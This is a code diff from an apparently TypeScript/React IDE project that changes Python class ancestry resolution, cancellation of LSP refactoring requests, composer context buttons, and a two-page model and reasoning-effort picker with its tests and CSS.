const outline = await deps.supers.outline(baseCls.path).catch(() => [] as OutlineItem[]);
const m = methodInOutline(outline, baseCls, bare);
if (m) {
found.push({ location: { path: baseCls.path, range: m.selection_range }, owner: base });
answered = true;
}
}
// Not found in a base that declares nothing: keep walking its own bases.
if (!answered) next.push(base);
}
}
}
+2 -5
Переглянути файл
@@ -302,8 +302,7 @@ export async function ancestryResolution(
cls: ClassInheritance,
depth = 8,
): Promise<AncestryResolution> {
// `cls` itself is not pre-seen: a cycle lists it once as its own ancestor.
const seen = new Set<string>();
const seen = new Set<string>([declarationKey(cls)]);
const out: AncestorNode[] = [];
let firstUnresolvedDepth = Infinity;
let level: ClassInheritance[] = [cls];
@@ -317,9 +316,7 @@ export async function ancestryResolution(
continue;
}
for (const parent of found) {
const key = declarationKey(parent);
if (seen.has(key)) continue;
seen.add(key);
if (!seen.add(declarationKey(parent))) continue;
out.push({ decl: parent, depth: d });
next.push(parent);
}
-20
Переглянути файл
@@ -803,26 +803,6 @@ describe("python inheritance fallback", () => {
expect(cachedMarkers(candidates, ALL, cache).map((m) => [m.line, m.kind])).toEqual([[0, "overridden"]]);
});
it("walks up from the class itself, not every class of its name", async () => {
// a.py: `class BaseA` with `foo`, `class Child(BaseA)` with `foo`; b.py the same with BaseB.
const outline = (base: string) => [
item(base, "class", 0, 2, [item("foo", "method", 1, 1)], 6),
item("Child", "class", 3, 5, [item("foo", "method", 4, 4)], 6),
];
const graph: ClassInheritance[] = [
{ path: "/p/a.py", line: 0, col: 6, name: "BaseA", bases: [] },
{ path: "/p/a.py", line: 3, col: 6, name: "Child", bases: ["BaseA"] },
{ path: "/p/b.py", line: 0, col: 6, name: "BaseB", bases: [] },
{ path: "/p/b.py", line: 3, col: 6, name: "Child", bases: ["BaseB"] },
];
const { deps } = pythonServer(graph, { "/p/a.py": outline("BaseA"), "/p/b.py": outline("BaseB") });
const candidates = markerCandidates(outline("BaseA"), () => "");
const cache = emptyCache();
await fillMarkers("/p/a.py", candidates, ALL, deps(), cache);
const up = cachedMarkers(candidates, ALL, cache).find((m) => m.line === 4 && m.kind === "overriding");
expect(up?.targets.map((t) => [t.path, t.range.start.line])).toEqual([["/p/a.py", 1]]);
});
it("resolves an ambiguous base name through the subclass file's imports", async () => {
// Two modules declare `Config`; `from pkg.b import Config` picks one of them, so
// only b.py's Config is marked as subclassed.
+1 -3
Переглянути файл
@@ -123,9 +123,7 @@ export async function pythonDescendants(
const next: ClassInheritance[] = [];
for (const parent of level) {
for (const sub of subclasses.get(declarationKey(parent)) ?? []) {
const key = declarationKey(sub);
if (seen.has(key)) continue;
seen.add(key);
if (!seen.add(declarationKey(sub))) continue;
out.push(sub);
next.push(sub);
}
-23
Переглянути файл
@@ -7,7 +7,6 @@ vi.mock("@/platform/ipc", async (original) => {
});
const { cancellable } = await import("./signature");
const { isCancelled } = await import("@/platform/ipc");
describe("cancellable refactoring requests", () => {
it("cancels the request in flight when the dialog closes", async () => {
@@ -31,26 +30,4 @@ describe("cancellable refactoring requests", () => {
run.abort();
expect(cancelRequest).not.toHaveBeenCalled();
});
it("never sends a request the dialog closed before", async () => {
const run = new AbortController();
run.abort();
const send = vi.fn(async () => "sent");
const err = await cancellable(run.signal, send).catch((e: unknown) => e);
expect(isCancelled(err)).toBe(true);
expect(send).not.toHaveBeenCalled();
});
it("tells the sender once the dialog closed after the request was handed over", async () => {
const run = new AbortController();
let wanted!: () => boolean;
const reply = cancellable(run.signal, async (_id, w) => {
wanted = w;
return "sent";
});
expect(wanted()).toBe(true);
run.abort();
expect(wanted()).toBe(false);
await reply;
});
});
+7 -8
Переглянути файл
@@ -136,10 +136,9 @@ export async function extractInterface(
for (;;) {
await whenSynced(view);
const token: string | null = confirmation;
extracted = await cancellable(signal, (id, wanted) =>
lspRequest(
() => commands.lspExtractInterface(id, request.doc, request.pos, [...members], name, pkg.json, token),
wanted,
extracted = await cancellable(signal, (id) =>
lspRequest(() =>
commands.lspExtractInterface(id, request.doc, request.pos, [...members], name, pkg.json, token),
),
);
if (signal?.aborted) return { status: "stay" };
@@ -159,9 +158,9 @@ export async function extractInterface(
const summary = summarizeWorkspaceEdit(edit);
if (!summary.files) return { status: "stay", error: "Nothing to change" };
const created = edit.files.find((f) => f.kind === "create")?.path;
const apply = async (cancel?: AbortSignal) => {
await applyEdit(view, edit, cancel);
if (created && !cancel?.aborted) await editorService().openFile(created, { focus: true });
const apply = async () => {
await applyEdit(view, edit);
if (created) await editorService().openFile(created, { focus: true });
};
if (preview) {
openPopup({
@@ -172,7 +171,7 @@ export async function extractInterface(
onConfirm: () => void apply(),
});
} else {
await apply(signal);
await apply();
}
return { status: "done" };
}
+9 -22
Переглянути файл
@@ -15,7 +15,7 @@ import { showHint } from "@/editor/lsp/hint";
import { openPopup } from "@/editor/lsp/popupStore";
import { summarizeWorkspaceEdit } from "@/editor/lsp/workspaceEdit";
import { tx } from "@/platform/i18n";
import { IpcError, commands, isCancelled, nextRequestId, unavailableText } from "@/platform/ipc";
import { commands, isCancelled, nextRequestId, unavailableText } from "@/platform/ipc";
import { ask } from "@/workbench/messages";
import { cannotPerform } from "./catalog";
@@ -129,35 +129,22 @@ export async function startChangeSignature(view: EditorView): Promise<void> {
}
}
export async function applyEdit(view: EditorView, edit: WorkspaceEdit, signal?: AbortSignal) {
export async function applyEdit(view: EditorView, edit: WorkspaceEdit) {
try {
await whenAllSynced();
// The dialog closed while the editors were syncing: nothing is applied.
if (signal?.aborted) return;
await lspRequest(
() => commands.applyWorkspaceEdit(edit),
() => !signal?.aborted,
);
await lspRequest(() => commands.applyWorkspaceEdit(edit));
} catch (e) {
reportLspError(view, e, true);
}
}
/**
* Sends `send(id, wanted)` with a fresh request id that `signal` cancels. `wanted` goes to
* `lspRequest`, which syncs editors first: a dialog closed meanwhile never sends the request.
*/
export async function cancellable<T>(
signal: AbortSignal | undefined,
send: (id: number, wanted: () => boolean) => Promise<T>,
): Promise<T> {
// Closed before the request went out: it never does (a cancel can't reach an unsent request).
if (signal?.aborted) throw new IpcError({ kind: "cancelled", message: "Cancelled" });
/** Sends `send(id)` with a fresh request id that `signal` cancels. */
export async function cancellable<T>(signal: AbortSignal | undefined, send: (id: number) => Promise<T>): Promise<T> {
const id = nextRequestId();
const abort = () => void commands.cancelRequest(id);
signal?.addEventListener("abort", abort);
try {
return await send(id, () => !signal?.aborted);
return await send(id);
} finally {
signal?.removeEventListener("abort", abort);
}
@@ -195,8 +182,8 @@ export async function changeSignature(
for (;;) {
await whenSynced(view);
const token: string | null = confirmation;
changed = await cancellable(signal, (id, wanted) =>
lspRequest(() => commands.lspChangeSignature(id, request.doc, request.pos, signature, delegate, token), wanted),
changed = await cancellable(signal, (id) =>
lspRequest(() => commands.lspChangeSignature(id, request.doc, request.pos, signature, delegate, token)),
);
if (signal?.aborted) return { status: "stay" };
const fatal = changed.problems.find((p) => p.severity === "fatal");
@@ -223,7 +210,7 @@ export async function changeSignature(
onConfirm: () => void applyEdit(view, edit),
});
} else {
await applyEdit(view, edit, signal);
await applyEdit(view, edit);
}
return { status: "done" };
}
+5 -2
Переглянути файл
@@ -167,6 +167,7 @@ export function AgentsView() {
const loaded = useAgents((s) => s.loaded);
const error = useAgents((s) => s.error);
const tasks = useAgents((s) => s.tasks);
const ephemeral = useAgents((s) => s.ephemeral);
const unread = useAgents((s) => s.unread);
const providers = useAgents((s) => s.providers);
const docked = useAgents((s) => s.docked);
@@ -214,7 +215,9 @@ export function AgentsView() {
return found;
}, [tasks, query]);
const roots = useMemo<Node[]>(() => {
const all = [...tasks.values()].filter((t) => !matches || matches.has(t.id));
// Side conversations live beside the conversation they forked, never in this list.
const listed = ephemeral.size ? new Map([...tasks].filter(([id]) => !ephemeral.has(id))) : tasks;
const all = [...listed.values()].filter((t) => !matches || matches.has(t.id));
const pinned = pinnedMembers(all, organize);
return [
...(pinned.length ? [{ kind: "pinned", tasks: pinned } as Node] : []),
@@ -224,7 +227,7 @@ export function AgentsView() {
}),
...groupTasks(ungroupedMembers(all, organize)).map((group): Node => ({ kind: "group", group })),
];
}, [tasks, organize, matches]);
}, [tasks, organize, matches, ephemeral]);
const expanded = useMemo(
() => new Set(roots.map(nodeKey).filter((k) => matches || !collapsed.has(k))),
[roots, collapsed, matches],
+157 -22
Переглянути файл
@@ -173,6 +173,9 @@
.chipDetail > span {
grid-area: 1 / 1;
}
.chipSizer {
visibility: hidden;
}
.chipChevron {
flex: none;
color: var(--fg-muted);
@@ -219,38 +222,46 @@
color: var(--fg-muted);
cursor: default;
}
/* The model popup's top: effort (and context size) as segmented controls. */
.quickSettings {
display: flex;
flex-direction: column;
gap: var(--space-1-5);
padding: 4px 10px 10px;
margin-bottom: 4px;
border-bottom: 1px solid var(--border);
}
.quickRow {
.activeModelBar {
display: flex;
align-items: center;
gap: var(--space-2);
width: calc(100% - 12px);
margin: 2px 6px 6px;
padding: 6px 8px;
border: 0;
border-radius: var(--radius-control);
background: var(--bg-elev);
box-shadow: inset 0 0 0 1px var(--border);
color: var(--fg-strong);
text-align: left;
cursor: pointer;
transition: background var(--dur-fast) var(--ease);
}
.quickRow > .segmented {
flex: 1;
.activeModelBar:hover,
.activeModelBar:focus-visible {
outline: none;
background: var(--bg-hover);
}
.activeModelName {
flex: 1 1 auto;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-weight: 600;
}
.quickLabel {
.activeModelMeta {
flex: none;
width: 52px;
color: var(--fg-muted);
font-size: var(--fs-small);
}
/* A model's configure button shows on its row's hover only. */
.modelEffortPopup [role="option"] .modelRowConfigure {
opacity: 0;
}
.modelEffortPopup [role="option"]:hover .modelRowConfigure,
.modelEffortPopup [role="option"][aria-selected="true"] .modelRowConfigure,
.modelEffortPopup .modelRowConfigure:focus-visible {
opacity: 1;
.activeModelGear {
display: inline-flex;
align-items: center;
gap: var(--space-0-5);
flex: none;
color: var(--fg-muted);
}
.modelRowConfigure {
display: grid;
@@ -288,9 +299,52 @@
color: var(--warning);
}
/* Page 2: per-model configuration view. */
.modelDetail {
display: flex;
flex-direction: column;
gap: var(--space-3);
padding: 6px 12px 8px;
}
.modelDetailHeader {
display: flex;
align-items: center;
gap: var(--space-1-5);
}
.modelDetailTitle {
flex: 1 1 auto;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
color: var(--fg-strong);
font-weight: 600;
}
.modelDetailActions {
display: inline-flex;
align-items: center;
gap: var(--space-0-5);
flex: none;
}
.pinnedButton {
color: var(--accent);
}
.detailSection {
display: flex;
flex-direction: column;
gap: var(--space-1-5);
}
.detailSectionLabel {
color: var(--fg-strong);
font-weight: 600;
font-size: var(--fs-small);
}
.detailRow {
display: flex;
align-items: center;
justify-content: space-between;
gap: var(--space-3);
}
.segmented {
display: flex;
align-items: stretch;
@@ -330,6 +384,84 @@
color: var(--fg-strong);
font-weight: 600;
}
.costCard {
display: flex;
flex-direction: column;
gap: var(--space-1);
padding: 8px 10px;
border-radius: var(--radius-popup);
background: var(--bg-elev);
box-shadow: inset 0 0 0 1px var(--border);
}
.costCardHeader {
display: flex;
align-items: center;
justify-content: space-between;
gap: var(--space-2);
}
.costCardTitle {
color: var(--fg-strong);
font-weight: 600;
font-size: var(--fs-small);
}
.costCardRow {
display: flex;
align-items: baseline;
justify-content: space-between;
gap: var(--space-3);
color: var(--fg-secondary);
font-size: var(--fs-small);
}
.costCardValue {
color: var(--fg-strong);
font-weight: 600;
font-variant-numeric: tabular-nums;
}
.pricingCard {
display: flex;
flex-direction: column;
border-radius: var(--radius-popup);
background: var(--bg-elev);
box-shadow: inset 0 0 0 1px var(--border);
}
.pricingHeader {
display: flex;
align-items: center;
gap: var(--space-1-5);
width: 100%;
padding: 8px 10px;
border: 0;
border-radius: inherit;
background: transparent;
color: var(--fg-strong);
text-align: left;
cursor: pointer;
}
.pricingHeader:hover,
.pricingHeader:focus-visible {
outline: none;
background: var(--bg-hover);
}
.pricingChevron {
flex: none;
color: var(--fg-muted);
}
.pricingTitle {
flex: 1 1 auto;
font-weight: 600;
font-size: var(--fs-small);
}
.pricingBody {
display: flex;
flex-direction: column;
gap: var(--space-1);
padding: 2px 12px 10px;
}
.pricingSubhead {
margin-bottom: 2px;
color: var(--fg-muted);
font-size: var(--fs-small);
}
.modePopup {
min-width: 200px;
padding: 6px 0;
@@ -429,6 +561,9 @@
gap: 5px;
white-space: nowrap;
}
.pickerName {
color: var(--fg-subtle);
}
/* Above the text: the current file to reference, attached files and images. */
.context {
+37 -52
Переглянути файл
@@ -33,9 +33,7 @@ import {
Icon,
IconButton,
List,
Menu,
Popup,
type MenuItem,
firstSelectable,
listNavigate,
fileIconName,
@@ -143,8 +141,6 @@ export interface ComposerProps {
toolbar?: ReactNode;
/** Right of the bottom row: send / stop buttons. */
actions?: ReactNode;
/** Extra items for the Add Context menu, after the file and image items. */
addMenu?: MenuItem[];
className?: string;
}
@@ -983,18 +979,6 @@ export function Composer(props: ComposerProps) {
[id, projectRoot, root],
);
const [addOpen, setAddOpen] = useState(false);
const addAnchor = useRef<HTMLButtonElement>(null);
const insertMention = () => {
const view = viewRef.current;
if (!view) return;
// At the caret while typing, else after the text.
const end = view.state.doc.length;
const { from, to } = view.hasFocus ? view.state.selection.main : { from: end, to: end };
const before = view.state.sliceDoc(Math.max(0, from - 1), from);
replace(from, to, before && !/\s/.test(before) ? " @" : "@");
view.focus();
};
const showContext = images.length > 0 || attached.length > 0 || !!suggested;
return (
@@ -1123,23 +1107,14 @@ export function Composer(props: ComposerProps) {
<Icon name={fileIconName(basename(suggested.rel), suggested.rel)} size={14} />
<span className={styles.attachmentName}>{basename(suggested.rel)}</span>
<span className={styles.suggestionHint}>{tx("Current File")}</span>
{/* The chip is the IDE context switch: off here, back on from the dashed chip. */}
<IconButton
type="button"
className={styles.removeChip}
aria-label={tx("Don't Add the Current File")}
onClick={() => setIdeContext(false)}
icon="close"
size="small"
/>
</span>
)}
{suggested && !ideContext && (
<button
type="button"
className={styles.suggestion}
title={tx`Add ${suggested.rel} and the selection to your requests`}
onClick={() => setIdeContext(true)}
title={tx`Reference ${suggested.rel}`}
onClick={() => addPaths([suggested.path])}
>
<Icon name="plus" size={12} />
<Icon name={fileIconName(basename(suggested.rel), suggested.rel)} size={14} />
@@ -1151,7 +1126,7 @@ export function Composer(props: ComposerProps) {
<span key={file.path} className={styles.attachment} title={file.path}>
<Icon name={fileIconName(file.rel, file.path)} size={14} />
<span className={styles.attachmentName}>{file.rel}</span>
<IconButton
<button
type="button"
className={styles.removeChip}
aria-label={tx("Remove File")}
@@ -1160,9 +1135,9 @@ export function Composer(props: ComposerProps) {
files: composerDraft(id).files.filter((f) => f.path !== file.path),
})
}
icon="close"
size="small"
/>
>
<Icon name="close" size={10} />
</button>
</span>
))}
{images.map((img, i) => (
@@ -1170,7 +1145,7 @@ export function Composer(props: ComposerProps) {
<button type="button" className={styles.previewImage} onClick={() => setPreview(img)}>
<img src={imageSrc(img)} alt={img.name ?? tx("Image")} />
</button>
<IconButton
<button
type="button"
className={styles.removeImage}
aria-label={tx("Remove Image")}
@@ -1179,9 +1154,9 @@ export function Composer(props: ComposerProps) {
images: images.filter((_, j) => j !== i),
})
}
icon="close"
size="small"
/>
>
<Icon name="close" size={10} />
</button>
</span>
))}
<ImagePreview image={preview} onClose={() => setPreview(null)} />
@@ -1192,25 +1167,35 @@ export function Composer(props: ComposerProps) {
<div className={styles.toolbar}>{props.toolbar}</div>
<div className={styles.actions}>
<IconButton
ref={addAnchor}
icon="plus"
title="Add Context"
aria-haspopup="menu"
aria-expanded={addOpen}
icon="paperclip"
title="Reference a File (@)"
className={styles.composerButton}
onClick={() => setAddOpen((v) => !v)}
onClick={() => {
const view = viewRef.current;
if (!view) return;
// At the caret while typing, else after the text.
const end = view.state.doc.length;
const { from, to } = view.hasFocus ? view.state.selection.main : { from: end, to: end };
const before = view.state.sliceDoc(Math.max(0, from - 1), from);
replace(from, to, before && !/\s/.test(before) ? " @" : "@");
}}
/>
<Menu
open={addOpen}
anchor={addAnchor}
placement="bottom-end"
onClose={() => setAddOpen(false)}
aria-label="Add Context"
items={[
{ id: "reference", label: "Reference a File (@)", icon: "paperclip", run: insertMention },
{ id: "image", label: "Attach Image…", icon: "image", run: () => imageInput.current?.click() },
...(props.addMenu ?? []),
]}
<IconButton
icon="file-code"
title={
ideContext
? "IDE Context Enabled: the current file and selection are added to your request"
: "IDE Context Disabled: the current file and selection are not added to your request"
}
pressed={ideContext}
className={styles.composerButton}
onClick={() => setIdeContext(!ideContext)}
/>
<IconButton
icon="image"
title="Attach Image…"
className={styles.composerButton}
onClick={() => imageInput.current?.click()}
/>
<input
ref={imageInput}
+91 -24
Переглянути файл
@@ -273,19 +273,15 @@ describe("model and effort button", () => {
},
];
it("shows the effort as its own picker beside the model, and the mode with Allow All", () => {
const onChange = vi.fn();
render(<ConfigPickers config={copilotConfig()} onChange={onChange} />);
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("Claude Sonnet 5.5");
it("shows the model with the agent's effort name and the mode with Allow All", () => {
render(<ConfigPickers config={copilotConfig()} onChange={vi.fn()} />);
const model = screen.getByRole("button", { name: "Model" });
expect(model).toHaveTextContent("Claude Sonnet 5.5medium");
expect(screen.getByRole("button", { name: "Mode" })).toHaveTextContent("AgentAllow All");
const effort = screen.getByRole("button", { name: "Reasoning Effort" });
expect(effort).toHaveTextContent("medium");
fireEvent.click(effort);
fireEvent.click(screen.getByRole("option", { name: "XHigh" }));
expect(onChange).toHaveBeenCalledExactlyOnceWith("reasoning_effort", "xhigh");
expect(screen.queryByRole("button", { name: "Reasoning Effort" })).not.toBeInTheDocument();
});
it("tucks Fast into the model popup", () => {
it("tucks Fast into the model popup with effort", () => {
const config = [
...copilotConfig().filter((o) => o.category !== "thought_level"),
{
@@ -301,21 +297,23 @@ describe("model and effort button", () => {
render(<ConfigPickers config={config} onChange={vi.fn()} />);
expect(screen.queryByRole("switch", { name: "Fast" })).not.toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Model" }));
const dialog = screen.getByRole("dialog", { name: "Model" });
const dialog = screen.getByRole("dialog", { name: "Model & effort settings" });
expect(within(dialog).getByRole("switch", { name: "Fast" })).toHaveAttribute("aria-checked", "false");
});
it("lists models by name in one page, with context size, cost and pinning", () => {
it("navigates to the detail page for segmented effort, Reset, Pin, and cost badge", () => {
const onChange = vi.fn();
const cfg = copilotConfig().map((o) =>
o.id === "model"
? {
...o,
values: o.values.map((v) =>
v.value === "claude-sonnet-5.5" ? { ...v, costCategory: "medium", description: "Balanced" } : v,
v.value === "claude-sonnet-5.5" ? { ...v, costCategory: "medium", usageMultiplier: "1x" } : v,
),
}
: o,
: o.id === "reasoning_effort"
? { ...o, defaultValue: "medium" }
: o,
);
cfg.push({
id: "contextTier",
@@ -327,37 +325,106 @@ describe("model and effort button", () => {
via: "option",
values: [value("default", "200K"), value("long_context", "1M")],
});
render(<ConfigPickers config={cfg} onChange={onChange} />);
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("Claude Sonnet 5.51M");
render(<ConfigPickers config={cfg} values={{ reasoning_effort: "high" }} onChange={onChange} />);
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("Claude Sonnet 5.5high · 1M");
fireEvent.click(screen.getByRole("button", { name: "Model" }));
const dialog = screen.getByRole("dialog", { name: "Model" });
expect(within(dialog).queryByText("Balanced")).not.toBeInTheDocument();
const dialog = screen.getByRole("dialog", { name: "Model & effort settings" });
expect(within(dialog).getByText("Medium cost")).toBeVisible();
// Pick another model directly from Page 1.
fireEvent.click(within(dialog).getByRole("option", { name: /GPT-6 Sol/ }));
expect(onChange).toHaveBeenCalledWith("model", "gpt-6-sol");
// Open Page 2 (detail configuration view) for the active model.
fireEvent.click(within(dialog).getByRole("button", { name: "Configure model" }));
const effortGroup = within(dialog).getByRole("radiogroup", { name: "Reasoning Effort" });
expect(within(effortGroup).getByRole("radio", { name: "high" })).toHaveAttribute("aria-checked", "true");
fireEvent.click(within(effortGroup).getByRole("radio", { name: "XHigh" }));
expect(onChange).toHaveBeenCalledWith("reasoning_effort", "xhigh");
const contextGroup = within(dialog).getByRole("radiogroup", { name: "Context Size" });
expect(within(contextGroup).getByRole("radio", { name: "1M" })).toHaveAttribute("aria-checked", "true");
fireEvent.click(within(contextGroup).getByRole("radio", { name: "200K" }));
expect(onChange).toHaveBeenCalledWith("contextTier", "default");
fireEvent.click(within(dialog).getAllByRole("button", { name: "Pin model" })[0]!);
// Cost badge & multiplier render in the detail card.
expect(within(dialog).getByText("Medium cost")).toBeVisible();
expect(within(dialog).getByText("1x")).toBeVisible();
// Reset restores both effort and contextTier to their agent defaults.
onChange.mockClear();
fireEvent.click(within(dialog).getByRole("button", { name: "Reset to defaults" }));
expect(onChange).toHaveBeenCalledWith("reasoning_effort", "medium");
expect(onChange).toHaveBeenCalledWith("contextTier", "default");
// Pin model, navigate back to Page 1, and verify Pinned + Models sections appear.
fireEvent.click(within(dialog).getByRole("button", { name: "Pin model" }));
fireEvent.click(within(dialog).getByRole("button", { name: "Back to models" }));
const listbox = within(dialog).getByRole("listbox", { name: "Model" });
expect(within(listbox).getByText("Pinned")).toBeVisible();
expect(within(listbox).getByText("Models")).toBeVisible();
});
fireEvent.click(within(dialog).getByRole("option", { name: /GPT-6 Sol/ }));
expect(onChange).toHaveBeenCalledWith("model", "gpt-6-sol");
expect(screen.queryByRole("dialog", { name: "Model" })).not.toBeInTheDocument();
it("updates per-tier token pricing live when switching Context Size", () => {
const cfg = copilotConfig().map((o) =>
o.id === "model"
? {
...o,
values: o.values.map((v) =>
v.value === "claude-sonnet-5.5"
? {
...v,
pricing: {
costTier: "medium",
multiplier: 1,
tiers: {
default: { input: 200, output: 1000, cacheRead: 10, cacheWrite: 0, contextTokens: 200_000 },
long_context: {
input: 400,
output: 2000,
cacheRead: 20,
cacheWrite: 0,
contextTokens: 1_000_000,
},
},
},
}
: v,
),
}
: o,
);
cfg.push({
id: "context_tier",
name: "Context Size",
category: "model_config",
description: null,
current: "long_context",
via: "option",
values: [value("default", "200K"), value("long_context", "1M")],
});
const { rerender } = render(<ConfigPickers config={cfg} onChange={vi.fn()} />);
fireEvent.click(screen.getByRole("button", { name: "Model" }));
fireEvent.click(screen.getByRole("button", { name: "Configure model" }));
expect(screen.getByText("Credits per 1M tokens")).toBeVisible();
expect(screen.getByText("400")).toBeVisible();
expect(screen.getByText("2000")).toBeVisible();
rerender(<ConfigPickers config={cfg} values={{ context_tier: "default" }} onChange={vi.fn()} />);
expect(screen.getByText("200")).toBeVisible();
expect(screen.getByText("1000")).toBeVisible();
});
it("filters the model list and picks the highlighted model with the keyboard", () => {
const onChange = vi.fn();
render(<ConfigPickers config={copilotConfig()} onChange={onChange} />);
fireEvent.click(screen.getByRole("button", { name: "Model" }));
const search = screen.getByPlaceholderText("Search…");
const dialog = screen.getByRole("dialog", { name: "Model & effort settings" });
const search = within(dialog).getByPlaceholderText("Search…");
expect(search).toHaveFocus();
fireEvent.change(search, { target: { value: "sol" } });
expect(screen.getAllByRole("option")).toHaveLength(1);
expect(within(dialog).getAllByRole("option")).toHaveLength(1);
fireEvent.keyDown(search, { key: "ArrowDown" });
fireEvent.keyDown(search, { key: "Enter" });
expect(onChange).toHaveBeenLastCalledWith("model", "gpt-6-sol");
+416 -100
Переглянути файл
@@ -1,24 +1,21 @@
/**
* Model, effort, mode and approvals controls for a composer's bottom row. The model button
* opens a searchable model list (pinned models first, context size above it); the effort is
* its own picker beside it, one click away.
* Model, mode, approvals and thinking-effort controls for a composer's bottom row.
* With a model plus effort, model-config or cost metadata, one button shows the active
* summary and opens a two-page popup: a searchable model list (with pinned models and
* per-row configure buttons) and a per-model configuration view with segmented Effort
* Level, optional segmented Context Size, Reset / Pin actions, and a cost badge.
*/
import { useEffect, useRef, useState, type KeyboardEvent } from "react";
import clsx from "clsx";
import type { AgentConfigOption } from "@/bindings";
import { useTx } from "@/platform/i18n";
import type { AgentConfigOption, AgentModelPricing } from "@/bindings";
import { tx as rawTx, useTx } from "@/platform/i18n";
import { Icon, IconButton, Popup, Select, T, Toggle } from "@/ui";
import { SelectListbox, type SelectOption } from "@/ui/Select";
import { isContextOption, mainOptions, modelConfigOptions, modeIcon } from "./composerModel";
import { formatCreditRate, isContextOption, mainOptions, modelConfigOptions, modeIcon } from "./composerModel";
import { togglePinnedModel, useAgents } from "./store";
import styles from "./Composer.module.css";
export function configPickerOptions(
option: AgentConfigOption,
pinned: readonly string[] = [],
/** Without each model's description: the model popup lists names only. */
descriptions = true,
): SelectOption[] {
export function configPickerOptions(option: AgentConfigOption, pinned: readonly string[] = []): SelectOption[] {
if (option.category !== "model") {
return option.values.map((v) => ({ value: v.value, label: v.name, detail: v.description ?? undefined }));
}
@@ -29,9 +26,7 @@ export function configPickerOptions(
const path = slash >= 0 ? v.value.slice(slash + 1) : "";
const label = path ? path.slice(path.lastIndexOf("/") + 1) : v.name || v.value;
const mult = v.usageMultiplier && !v.description?.startsWith(v.usageMultiplier) ? v.usageMultiplier : undefined;
const parts = [path || undefined, mult, (descriptions && v.description) || undefined].filter(
(p): p is string => !!p,
);
const parts = [path || undefined, mult, v.description ?? undefined].filter((p): p is string => !!p);
const detail = parts.length > 0 ? parts.join(" · ") : undefined;
return { provider, opt: { value: v.value, label, detail, keywords: provider } };
};
@@ -109,16 +104,14 @@ export function ConfigPickers({
const effort = config.find((o) => o.category === "thought_level" && o.values.length > 0);
const modelConfigs = modelConfigOptions(config);
const hasCostMeta = model?.values.some((v) => !!v.costCategory || !!v.usageMultiplier || !!v.pricing) ?? false;
const combinedModel = model && (modelRefresh || modelConfigs.length > 0 || hasCostMeta);
const combinedModel = model && (modelRefresh || effort || modelConfigs.length > 0 || hasCostMeta);
const tuckedModelConfig = new Set(modelConfigs.map((o) => o.id));
const mode = options.find((o) => o.category === "mode");
const allowAll = mode && options.find((o) => switchValues(o));
// Effort sits right after the model, as its own one-click picker.
const inline = options.filter(
(o) => o !== effort && o !== allowAll && !(combinedModel && tuckedModelConfig.has(o.id)),
);
if (effort) inline.splice(model ? inline.indexOf(model) + 1 : 0, 0, effort);
// The compact menu holds everything but the model and effort buttons (and the model's own parameters).
// The compact menu holds everything but the model button (effort + model parameters).
const secondary = options.filter(
(o) => o.category !== "model" && o !== effort && !(combinedModel && tuckedModelConfig.has(o.id)),
);
@@ -127,14 +120,13 @@ export function ConfigPickers({
return (
<>
{inline.map((o) => (
<span
key={o.id}
className={clsx(styles.configPicker, o.category !== "model" && o !== effort && styles.inlineSetting)}
>
<span key={o.id} className={clsx(styles.configPicker, o.category !== "model" && styles.inlineSetting)}>
{o === model && combinedModel ? (
<ModelPicker
<ModelEffortPicker
model={o}
modelValue={valueOf(o)}
effort={effort}
effortValue={effort ? valueOf(effort) : null}
modelConfigs={modelConfigs}
valueOf={valueOf}
onChange={onChange}
@@ -232,17 +224,24 @@ function ConfigPicker({
onChange={(v) => onChange(option.id, v)}
renderValue={
option.category === "thought_level" && !framed
? (current) => <span className={styles.pickerValue}>{current?.label ?? tx("Default")}</span>
? (current) => (
<span className={styles.pickerValue}>
<span className={styles.pickerName}>{option.name}</span>
{current?.label ?? tx("Default")}
</span>
)
: undefined
}
/>
);
}
/** The model button: a searchable model list, with context size and the model's own settings above it. */
function ModelPicker({
/** Two-page model & per-model configuration picker (searchable list + detail page). */
function ModelEffortPicker({
model,
modelValue,
effort,
effortValue,
modelConfigs,
valueOf,
onChange,
@@ -250,6 +249,8 @@ function ModelPicker({
}: {
model: AgentConfigOption;
modelValue: string | null;
effort?: AgentConfigOption;
effortValue: string | null;
modelConfigs: AgentConfigOption[];
valueOf: (o: AgentConfigOption) => string | null;
onChange: (option: string, value: string) => void;
@@ -257,26 +258,65 @@ function ModelPicker({
}) {
const tx = useTx();
const [open, setOpen] = useState(false);
const [page, setPage] = useState<"list" | "detail">("list");
const pinnedModels = useAgents((s) => s.pinnedModels);
const anchor = useRef<HTMLButtonElement>(null);
const selectedModel = selected(model, modelValue);
const unavailable = modelRefresh && modelValue !== null && !selectedModel;
const modelName = unavailable ? tx`${modelValue} (unavailable)` : (selectedModel?.name ?? tx("Default"));
const effortName = effort ? (selected(effort, effortValue)?.name ?? tx("Default")) : null;
const contextOption = modelConfigs.find((o) => isContextOption(o.id) && o.values.length > 0);
const contextValue = contextOption ? valueOf(contextOption) : null;
const contextLabel = contextOption ? (selected(contextOption, contextValue)?.name ?? null) : null;
const otherModelConfigs = modelConfigs.filter((o) => o !== contextOption);
const summary = [
contextLabel ? `${tx("Context Size")}: ${contextLabel}` : null,
...otherModelConfigs.map((o) => {
const chipBadges = [effortName, contextLabel].filter((x): x is string => !!x);
const chipBadgeText = chipBadges.join(" · ");
const otherSummary = otherModelConfigs
.map((o) => {
const current = selected(o, valueOf(o));
return current ? `${tx(o.name)}: ${current.name}` : null;
}),
})
.filter(Boolean)
.join(" · ");
const summary = [
effortName ? `${tx(effort!.name)}: ${effortName}` : null,
contextLabel ? `${tx("Context Size")}: ${contextLabel}` : null,
otherSummary,
]
.filter(Boolean)
.join(" · ");
const canConfigureActive = !!(
effort ||
contextOption ||
otherModelConfigs.length > 0 ||
selectedModel?.costCategory ||
selectedModel?.usageMultiplier ||
selectedModel?.pricing
);
const closePopup = () => {
setOpen(false);
setPage("list");
};
const openDetailFor = (targetModelValue: string) => {
if (targetModelValue !== modelValue) {
onChange(model.id, targetModelValue);
}
setPage("detail");
};
const sizerCandidates =
effort && !contextLabel
? [...new Set([chipBadgeText, ...effort.values.map((v) => v.name)])]
: chipBadgeText
? [chipBadgeText]
: [];
return (
<>
<button
